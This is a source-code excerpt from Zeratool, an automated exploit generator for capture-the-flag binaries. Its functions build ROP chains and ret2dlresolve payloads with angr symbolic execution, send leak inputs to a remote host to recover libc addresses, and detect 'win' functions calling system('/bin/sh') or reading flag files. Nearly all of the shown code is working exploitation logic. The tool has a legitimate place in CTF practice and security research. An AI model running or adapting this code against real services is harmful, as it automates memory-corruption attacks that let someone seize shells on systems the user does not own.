526 | if retrigger_addr: # Retrigger exploit
527 | retrigger_addr = retrigger_addr.rebased_addr
528 | elif "main" in elf.symbols:
529 | retrigger_addr = elf.symbols["main"]
530 |
531 | # Verify that these gadgets result in a call to main after the leak
532 | if new_state.globals["needs_leak"]:
533 | rop_simgr.explore(find=lambda s: retrigger_addr == s.solver.eval(s.regs.pc))
534 | if len(rop_simgr.found) > 0:
535 | new_state = rop_simgr.found[0]
536 | else:
537 | log.debug("Couldn't verify")
538 |
539 | log.debug(rop_simgr)
540 |
541 | return user_input, new_state
542 |
543 |
544 | def plt_call_hook(state, gadget_addr):
545 | """
546 | Emulating the following instructions:
547 | push qword ptr [rip + 0x2fe2]
548 | bnd jmp qword ptr [rip + 0x2fe3]
549 | """
550 | log.info("Emulating plt call hook")
551 | p2 = angr.Project(state.project.filename, auto_load_libs=False)
552 | CFG = p2.analyses.CFG()
553 |
554 | pc_block = CFG.model.get_any_node(gadget_addr).block
555 | for insn in pc_block.capstone.insns:
556 | log.info(insn)
557 | rip_addr = insn.address
558 | rip_offset = insn.disp
559 | if insn.mnemonic == "push":
560 | ret_val = rip_addr + rip_offset + insn.size
561 | log.info("Emulating stack push with value : {}".format(hex(ret_val)))
562 | state.stack_push(ret_val)
563 | elif "jmp" in insn.mnemonic:
564 | pc_val = rip_addr + rip_offset + insn.size
565 | log.info("Emulating plt jmp with value : {}".format(hex(pc_val)))
566 | # Emulating a 'bnd jmp'
567 | # the bnd part is pretty much just a nop
568 | state.regs.pc = pc_val
569 |
570 |
571 | def get_debug_stack(state, depth=8, rop=None):
572 | register_size = int(state.arch.bits / 8)
573 | curr_sp = state.solver.eval(state.regs.sp)
574 |
575 | dbg_lines = ["Current Stack Pointer : {}".format(hex(curr_sp))]
576 |
577 | curr_sp -= depth * register_size
578 |
579 | for i in range(depth + 4):
580 | address = curr_sp + (i * register_size)
581 | val = state.memory.load(address, register_size)
582 | concrete_vaue = 0
583 | desc = ""
584 | concrete_vaue = state.solver.eval(val, cast_to=bytes)
585 | concrete_vaue = u64(concrete_vaue)
586 | desc = state.project.loader.describe_addr(concrete_vaue)
587 | if rop and concrete_vaue in rop.gadgets:
588 | rop_gadget = rop.gadgets[concrete_vaue]
589 | desc += "\n\t"
590 | desc += "\n\t".join(rop_gadget.insns)
591 | if "not part of a loaded object" in desc:
592 | desc = ""
593 | dbg_line = "{:18} | {:18} - {}".format(hex(address), hex(concrete_vaue), desc)
594 | dbg_lines.append(dbg_line)
595 |
596 | return "\n".join(dbg_lines)
597 |
598 |
599 | def fix_gadget_registers(gadget):
600 | if gadget.regs != []:
601 | return gadget
602 | log.debug("Fixing gadget : {}".format(gadget))
603 | for insn in gadget.insns:
604 | if "pop" in insn:
605 | # Splt a 'pop eax' or 'pop rdx' to get register name
606 | gadget.regs.append(insn.split(" ")[-1])
607 | return gadget
608 |
609 |
610 | def do_64bit_leak_with_stepping(elf, rop, rop_chain, new_state, dlresolve=None):
611 | # Only amd64 right now
612 | user_input = new_state.globals["user_input"]
613 | curr_rop = None
614 | elf_symbol_addrs = [y for x, y in elf.symbols.items()]
615 | p = new_state.project
616 |
617 | for i, gadget in enumerate(rop_chain):
618 |
619 | if gadget in rop.gadgets:
620 | curr_rop = rop.gadgets[gadget]
621 |
622 | curr_rop = fix_gadget_registers(curr_rop)
623 |
624 | # reversing it lets us pop values out easy
625 | curr_rop.regs.reverse()
626 |
627 | # Case of if we're executing
628 | if curr_rop is None or gadget in rop.gadgets or len(curr_rop.regs) == 0:
629 |
630 | if new_state.satisfiable(extra_constraints=([new_state.regs.pc == gadget])):
631 | """
632 | For the actual ROP gadgets, we're stepping through them
633 | until we hit an unconstrained value - We did a `ret` back
634 | onto the symbolic stack.
635 | This process is slower than just setting the whole stack
636 | to the chain, but in testing it seems to work more reliably
637 | """
638 | log.info("Setting PC to {}".format(hex(gadget)))
639 | new_state.add_constraints(new_state.regs.pc == gadget)
640 |
641 | if gadget in elf_symbol_addrs:
642 | log.info(
643 | "gadget is hooked symbol, contraining to real address, but calling SimProc"
644 | )
645 | symbol = [x for x in elf.symbols.items() if gadget == x[1]][0]
646 | new_state.regs.pc = p.loader.find_symbol(symbol[0]).rebased_addr
647 |
648 | # There is no point in letting our last gadget run, we have all
649 | # the constraints on our input to trigger the leak
650 | if i == len(rop_chain) - 1:
651 | break
652 |
653 | # Are we in the .plt about to execute our dlresolv payload?
654 | if (
655 | p.loader.find_section_containing(gadget).name == ".plt"
656 | and dlresolve is not None
657 | ):
658 | """
659 | We're expecting a:
660 | push qword [0x004040008] # .plt section
661 | jmp qword [0x00404010] # .plt section + 0x8
662 | or
663 | 401020 push qword ptr [0x404008]
664 | 401026 bnd jmp qword ptr [0x404010]
665 | which we can emulate
666 | """
667 | # load the memory region and constrain it
668 | # We already called read that returned a symbolic read value
669 | # into the section we're about to use
670 |
671 | dlresolv_payload_memory = new_state.memory.load(
672 | dlresolve.data_addr, len(dlresolve.payload)
673 | )
674 | if new_state.satisfiable(
675 | extra_constraints=(
676 | [dlresolv_payload_memory == dlresolve.payload]
677 | )
678 | ):
679 | new_state.add_constraints(
680 | dlresolv_payload_memory == dlresolve.payload
681 | )
682 | log.debug(
683 | "Values written to address at : {}".format(
684 | hex(dlresolve.data_addr)
685 | )
686 | )
687 | else:
688 | log.info(
689 | "Could not set dlresolve payload to address : {}".format(
690 | hex(dlresolve.data_addr)
691 | )
692 | )
693 | return None, None
694 |
695 | dlresolv_index = new_state.memory.load(new_state.regs.sp, 8)
696 |
697 | dlresolve_bytes = p64(rop_chain[i + 1])
698 | if new_state.satisfiable(
699 | extra_constraints=([dlresolv_index == dlresolve_bytes])
700 | ):
701 | new_state.add_constraints(dlresolv_index == dlresolve_bytes)
702 | log.debug(
703 | "Set dlresolv index value to : {}".format(
704 | hex(rop_chain[i + 1])
705 | )
706 | )
707 |
708 | plt_call_hook(new_state, gadget)
709 |
710 | rop_simgr = new_state.project.factory.simgr(new_state)
711 |
712 | # We just need one step into our payload
713 | rop_simgr.step()
714 |
715 | stack_vals = get_debug_stack(new_state, depth=9, rop=rop)
716 | log.info(stack_vals)
717 |
718 | if len(rop_simgr.errored):
719 | log.error("Bad Address : {}".format(hex(dlresolve.data_addr)))
720 | return None, None
721 |
722 | new_state = rop_simgr.active[0]
723 | new_state.globals["dlresolve_payload"] = dlresolve.payload
724 | log.info("Found address : {}".format(hex(dlresolve.data_addr)))
725 | log.info(rop_simgr)
726 | break
727 |
728 | """
729 | Since we're stepping through a ROP chain, VEX IR wants to
730 | try and lift the whole block and emulate a whole block step
731 | this will break what we're trying to do, so we need to
732 | tell it to try and emulate single-step execution as closely
733 | as we can with the opt_level=0
734 | """
735 | rop_simgr = new_state.project.factory.simgr(new_state)
736 | rop_simgr.explore(opt_level=0)
737 | new_state = rop_simgr.unconstrained[0]
738 |
739 | # We already set the dlresolv index value, don't try to execute
740 | # the next piece
741 | if (
742 | p.loader.find_section_containing(gadget).name == ".plt"
743 | and dlresolve is not None
744 | ):
745 | break
746 |
747 | else:
748 | log.error("unsatisfied on {}".format(hex(gadget)))
749 | break
750 |
751 | # Case for setting registers
752 | else:
753 | """
754 | Usually for 64bit rop chains, we're passing values into
755 | the argument registers like RDI, so this only covers RDI
756 | since the auto-rop chain is pretty simple, but we would
757 | extend this portion to cover all register sets from POP
758 | calls
759 | """
760 | next_reg = curr_rop.regs.pop()
761 | log.debug("Setting register : {}".format(next_reg))
762 |
763 | gadget_msg = gadget
764 | if isinstance(gadget, bytes):
765 | if new_state.arch.bits == 64:
766 | gadget = u64(gadget)
767 | else:
768 | gadget = u32(gadget)
769 | if isinstance(gadget, int):
770 | gadget_msg = hex(gadget)
771 |
772 | state_reg = getattr(new_state.regs, next_reg)
773 | if state_reg.symbolic and new_state.satisfiable(
774 | extra_constraints=([state_reg == gadget])
775 | ):
776 |
777 | log.info("Setting {} to {}".format(next_reg, gadget_msg))
778 |
779 | new_state.add_constraints(state_reg == gadget)
780 | else:
781 | log.error("unsatisfied on {} -> {}".format(next_reg, gadget_msg))
782 | break
783 |
784 | if len(curr_rop.regs) == 0:
785 | curr_rop = None
786 | return user_input, new_state
787 |
788 |
789 | def leak_remote_libc_functions(simgr):
790 |
791 | """
792 | We have two main stages when we need a leak,
793 | the leak stage, which will be the first part of our chain
794 | and the pwn stage, where we use the leak to set our PC
795 | to some address relative to the leaked address
796 | """
797 | for state in simgr.unconstrained:
798 | properties = state.globals["properties"]
799 | elf = ELF(properties["file"])
800 |
801 | symbols = {"symbols": {}}
802 |
803 | skip_entries = [
804 | "__libc_start_main",
805 | "__gmon_start__",
806 | "stdout",
807 | "stdin",
808 | "stderr",
809 | ]
810 |
811 | log.info("Current sp : {}".format(hex(state.solver.eval(state.regs.sp))))
812 | sp_is_16bit_aligned = state.solver.eval(state.regs.sp) & 0xF == 0
813 | properties["sp_is_16bit_aligned"] = sp_is_16bit_aligned
814 |
815 | leaked_values = {}
816 |
817 | for i, name in enumerate(elf.got): # leak it all
818 | if name in skip_entries:
819 | continue
820 | log.debug("Leaking {} ".format(name))
821 |
822 | properties["vulnerable_function"] = get_vulnerable_function(state)
823 |
824 | rop, rop_chain = get_leak_rop_chain(properties, leak_num=i)
825 |
826 | new_state = state.copy()
827 | new_state.globals["vulnerable_function"] = properties["vulnerable_function"]
828 |
829 | # user_input, new_state = do_64bit_leak_with_stepping(
830 | # elf, rop, rop_chain, new_state
831 | # )
832 |
833 | """
834 | If step-by-step emulation and constraining doesn't work
835 | another option is to build the entire chain here and load
836 | the memory starting at the start of chain and add a constraint
837 | setting it to our rop chain's bytes
838 | """
839 | is_32bit = new_state.project.arch.bits == 32
840 |
841 | user_input, new_state = do_leak_with_ropchain_constrain(
842 | elf, rop_chain, new_state, is_32bit=is_32bit
843 | )
844 |
845 | input_bytes = new_state.posix.dumps(0)
846 | output_bytes = new_state.posix.dumps(1)
847 |
848 | r = remote(properties["remote"]["url"], properties["remote"]["port"])
849 | r.recv()
850 | r.clean()
851 | r.sendline(input_bytes)
852 | bytes_with_leak = r.recvuntil(b"\n").replace(b"\n", b"")
853 | log.info(bytes_with_leak)
854 | if is_32bit:
855 | bytes_with_leak = bytes_with_leak[:4]
856 | bytes_with_leak = bytes_with_leak.ljust(4, b"\x00")
857 | leaked_val = u32(bytes_with_leak)
858 | else:
859 | bytes_with_leak = bytes_with_leak.ljust(8, b"\x00")
860 | leaked_val = u64(bytes_with_leak)
861 | log.info("leaked {} : {}".format(name, hex(leaked_val)))
862 | r.close()
863 |
864 | leaked_values[name] = leaked_val
865 |
866 | if leaked_val > 0x7F0000000000:
867 | symbols["symbols"][name] = hex(
868 | leaked_val & 0xFFF
869 | ) # Only want last three for remote leak
870 | else:
871 | log.debug("bad canidate address")
872 |
873 | logging.info("leaked all symbols, querying remote libc database")
874 |
875 | for x, y in leaked_values.items():
876 | log.info("{} : {}".format(x, hex(y)))
877 |
878 | for x, y in symbols["symbols"].items():
879 | log.info("{} : {}".format(x, y))
880 |
881 | if is_32bit:
882 | log.warn("remote libc database doesn't support 32bit leaking yet :(")
883 | log.warn(
884 | "Try plugging these values into https://libc.nullbyte.cat/ and downloading the libc"
885 | )
886 | log.warn("Then rerun Zeratool with --libc flag")
887 | state.globals["libc"] = None
888 | else:
889 | state.globals["libc"] = get_remote_libc_with_leaks(symbols)
890 | simgr.drop(stash="unconstrained")
891 | simgr.drop(stash="active")
892 | simgr.stashes["found"].append(state)
893 |
894 | return simgr
895 |
896 |
897 | def get_vulnerable_function(state):
898 |
899 | # Python3 magic to get last bbl_addr
900 | *_, last_block = state.history.bbl_addrs
901 | symbol_addr = None
902 |
903 | if not state.project.loader.main_object.contains_addr(last_block):
904 | return symbol_addr
905 |
906 | symbols_addrs = [x.rebased_addr for x in state.project.loader.main_object.symbols]
907 | symbols_addrs.sort()
908 |
909 | for i, addr in enumerate(symbols_addrs):
910 | if i == 0:
911 | continue
912 | if last_block < addr and last_block > symbols_addrs[i - 1]:
913 | symbol_addr = symbols_addrs[i - 1]
914 | symbol = state.project.loader.find_symbol(symbol_addr)
915 | log.info("Vulnerable function is : {}".format(symbol))
916 | break
917 |
918 | return symbol
919 |
920 |
921 | def point_to_ropchain_filter(simgr):
922 |
923 | dlresolve = None
924 | """
925 | For angr hooked function that are part of our rop chain,
926 | like `puts`, we need to force the simulation manager to
927 | execute through a regular step, without running through
928 | the hook.
929 | """
930 | for state in simgr.active:
931 | if not state.globals["needs_leak"]:
932 | properties = state.globals["properties"]
933 | elf = ELF(properties["file"])
934 | elf_symbol_addrs = [y for x, y in elf.symbols.items()]
935 | elf_items = elf.symbols.items()
936 |
937 | pc = state.solver.eval(state.regs.pc)
938 | if pc in elf_symbol_addrs:
939 | symbol = [x for x in elf_items if pc == x[1]][0]
940 | log.debug("hooking : {}".format(symbol))
941 | state.regs.pc = state.project.loader.find_symbol(symbol[0]).rebased_addr
942 |
943 | """
944 | We have two main stages when we need a leak,
945 | the leak stage, which will be the first part of our chain
946 | and the pwn stage, where we use the leak to set our PC
947 | to some address relative to the leaked address
948 | """
949 | for state in simgr.unconstrained:
950 | properties = state.globals["properties"]
951 | elf = ELF(properties["file"])
952 |
953 | log.info("Current sp : {}".format(hex(state.solver.eval(state.regs.sp))))
954 | sp_is_16bit_aligned = state.solver.eval(state.regs.sp) & 0xF == 0
955 | properties["sp_is_16bit_aligned"] = sp_is_16bit_aligned
956 |
957 | if properties.get("force_dlresolve", False):
958 | dlresolve, rop, rop_chain = get_rop_chain(properties, state=state)
959 |
960 | elif state.globals["needs_leak"]:
961 | properties["vulnerable_function"] = get_vulnerable_function(state)
962 | state.globals["vulnerable_function"] = properties["vulnerable_function"]
963 | rop, rop_chain = get_leak_rop_chain(properties)
964 | else:
965 | dlresolve, rop, rop_chain = get_rop_chain(properties, state=state)
966 |
967 | new_state = state.copy()
968 |
969 | if new_state.project.arch.bits == 32:
970 | user_input, new_state = do_leak_with_ropchain_constrain(
971 | elf, rop_chain, new_state, is_32bit=True
972 | )
973 |
974 | else:
975 | if dlresolve:
976 |
977 | user_input, new_state = do_64bit_leak_with_stepping(
978 | elf, rop, rop_chain, new_state, dlresolve=dlresolve
979 | )
980 | if new_state == None:
981 | log.info("64bit stepping failed, trying to constrain whole payload")
982 | new_state = state.copy()
983 | user_input, new_state = do_leak_with_ropchain_constrain(
984 | elf, rop_chain, new_state, is_32bit=False, dlresolve=dlresolve
985 | )
986 | new_state.globals["dlresolve_payload"] = dlresolve.payload
987 |
988 | input_buf = new_state.posix.dumps(0)
989 |
990 | if dlresolve.payload in input_buf:
991 | payload_index = input_buf.index(dlresolve.payload)
992 |
993 | """
994 | ret2dlresolve happens in two parts:
995 | The read rop which pulls in our payload
996 | Then sending the payload to be read
997 | """
998 | new_state.globals["dlresolve_first"] = input_buf[:payload_index]
999 | new_state.globals["dlresolve_second"] = input_buf[
1000 | payload_index : payload_index + len(dlresolve.payload)
1001 | ]
1002 | else:
1003 | new_state.globals["dlresolve_first"] = input_buf
1004 | new_state.globals["dlresolve_second"] = new_state.globals[
1005 | "dlresolve_payload"
1006 | ]
1007 |
1008 | new_state.globals["needs_leak"] = False
1009 |
1010 | new_state.globals["type"] = "dlresolve"
1011 |
1012 | simgr.drop(stash="unconstrained")
1013 | simgr.drop(stash="found")
1014 | simgr.stashes["found"].append(new_state)
1015 |
1016 | log.info("[+] Vulnerable path found {}".format(input_buf))
1017 | log.info(
1018 | "ret2dlresolve 1st : {}".format(
1019 | new_state.globals["dlresolve_first"]
1020 | )
1021 | )
1022 | log.info(
1023 | "ret2dlresolve 2nd : {}".format(
1024 | new_state.globals["dlresolve_second"]
1025 | )
1026 | )
1027 | break
1028 | else:
1029 | """
1030 | If step-by-step emulation and constraining doesn't work
1031 | another option is to build the entire chain here and load
1032 | the memory starting at the start of chain and add a constraint
1033 | setting it to our rop chain's bytes
1034 | """
1035 |
1036 | user_input, new_state = do_leak_with_ropchain_constrain(
1037 | elf, rop_chain, new_state, is_32bit=False
1038 | )
1039 |
1040 | user_input = new_state.globals["user_input"]
1041 |
1042 | """
1043 | If we're running with a leak stage, we call it done once we hit our leak,
1044 | since we'll want the actual program runtime leak in our next set of
1045 | constraints.
1046 | """
1047 | if new_state.globals["needs_leak"]:
1048 | new_state.globals["needs_leak"] = False
1049 |
1050 | simgr.drop(stash="unconstrained")
1051 | simgr.drop(stash="found")
1052 | simgr.stashes["found"].append(new_state)
1053 |
1054 | new_state.globals["leak_input"] = get_trimmed_input(user_input, new_state)
1055 | new_state.globals["type"] = "leak"
1056 |
1057 | break
1058 |
1059 | """
1060 | At this point we're running alongside the actual program and trimming won't
1061 | help our input buffer size, so we just get the raw STDIN and use that for
1062 | input values
1063 | """
1064 | input_bytes = new_state.posix.dumps(0)
1065 | leak_input = new_state.globals["leak_input"]
1066 | # The +1 here is to account for a newline. The get_trimmed_input function
1067 | # isn't adding the newline character
1068 | if not leak_input.endswith(b"\n"):
1069 | pwn_bytes = input_bytes[len(leak_input) + 1 :]
1070 | else:
1071 | pwn_bytes = input_bytes[len(leak_input) :]
1072 |
1073 | """
1074 | If Zeratool fails, we atleast want the inputs that trigger the leak an
1075 | attempted pwn for putting into our own manual exploits
1076 | """
1077 | log.info("[+] Vulnerable path found {}".format(input_bytes))
1078 | log.info("Will leak {} before pwn".format(new_state.globals["leaked_func"]))
1079 | log.info("Leak input : {}".format(leak_input))
1080 | log.info("pwn input : {}".format(pwn_bytes))
1081 |
1082 | new_state.globals["type"] = "Overflow"
1083 | new_state.globals["input"] = pwn_bytes
1084 | simgr.drop(stash="unconstrained")
1085 | simgr.drop(stash="active")
1086 | simgr.stashes["found"].append(new_state)
1087 | break
1088 |
1089 | return simgr
1090 |
1091 |
1092 | def get_trimmed_input(user_input, state):
1093 | trim_index = -1
1094 | index = 0
1095 | for c in user_input.chop(8):
1096 | num_constraints = get_num_constraints(c, state)
1097 | if num_constraints == 0 and trim_index == -1:
1098 | trim_index = index
1099 | else:
1100 | trim_index == -1
1101 | index += 1
1102 |
1103 | input_bytes = state.solver.eval(user_input, cast_to=bytes)
1104 |
1105 | if trim_index > 0:
1106 | log.debug("Found input without constraints starting at {}".format(trim_index))
1107 | return input_bytes[:trim_index]
1108 |
1109 | return input_bytes
1110 |
1111 |
1112 | def get_num_constraints(chop_byte, state):
1113 | constraints = state.solver.constraints
1114 | i = 0
1115 | # Do any constraints mention this BV?
1116 | for constraint in constraints:
1117 | if any(
1118 | chop_byte.structurally_match(x) for x in constraint.recursive_children_asts
1119 | ):
1120 | i += 1
1121 | # log.info("{} : {} : {}".format(chop_byte,i,state.solver.eval(chop_byte,cast_to=bytes)))
1122 | return i
1123 |
1124 |
1125 | class hook_win(angr.SimProcedure):
1126 | IS_FUNCTION = True
1127 |
1128 | good_strings = [b"/bin/sh", b"flag", b"/bin/bash", b"/bin/dash"]
1129 |
1130 | def run(self):
1131 |
1132 | if self.state.arch.bits == 64:
1133 | cmd_ptr = self.state.regs.rdi
1134 | if self.state.arch.bits == 32:
1135 | # First arg pushed to the stack
1136 | cmd_ptr = self.state.memory.load(self.state.regs.sp - 4, 4)
1137 | cmd_str = self.state.memory.load(cmd_ptr, 32)
1138 |
1139 | arg = self.state.solver.eval(cmd_str, cast_to=bytes)
1140 |
1141 | log.info("system() called with {}".format(arg))
1142 | if any(x in arg for x in self.good_strings):
1143 | # Win!
1144 | self.state.globals["type"] = "overflow_variable"
1145 |
1146 |
1147 | class hook_four(angr.SimProcedure):
1148 | IS_FUNCTION = True
1149 |
1150 | def run(self):
1151 | return 4 # Fair dice roll
1152 |
--------------------------------------------------------------------------------
/zeratool/winFunctionDetector.py:
--------------------------------------------------------------------------------
1 | import r2pipe
2 | import json
3 | import logging
4 |
5 | log = logging.getLogger(__name__)
6 |
7 |
8 | def getWinFunctions(binary_name):
9 |
10 | winFunctions = {}
11 |
12 | # Initilizing r2 with with function call refs (aac)
13 | r2 = r2pipe.open(binary_name)
14 | r2.cmd("aaa")
15 |
16 | functions = [func for func in json.loads(r2.cmd("aflj"))]
17 |
18 | # Check for function that gives us system(/bin/sh)
19 | for func in functions:
20 | if "system" in str(func["name"]):
21 | system_name = func["name"]
22 |
23 | # Get XREFs
24 | refs = [
25 | func for func in json.loads(r2.cmd("axtj @ {}".format(system_name)))
26 | ]
27 | for ref in refs:
28 | if "fcn_name" in ref:
29 | winFunctions[ref["fcn_name"]] = ref
30 |
31 | # Check for function that reads flag.txt
32 | # Then prints flag.txt to STDOUT
33 | known_flag_names = ["flag", "pass"]
34 |
35 | strings = [string for string in json.loads(r2.cmd("izj"))]
36 | for string in strings:
37 | value = string["string"]
38 | if any([x in value for x in known_flag_names]):
39 | address = string["vaddr"]
40 |
41 | # Get XREFs
42 | refs = [func for func in json.loads(r2.cmd("axtj @ {}".format(address)))]
43 | for ref in refs:
44 | if "fcn_name" in ref:
45 | winFunctions[ref["fcn_name"]] = ref
46 |
47 | for k, v in list(winFunctions.items()):
48 | log.info("[+] Found win function {}".format(k))
49 |
50 | return winFunctions
51 |
--------------------------------------------------------------------------------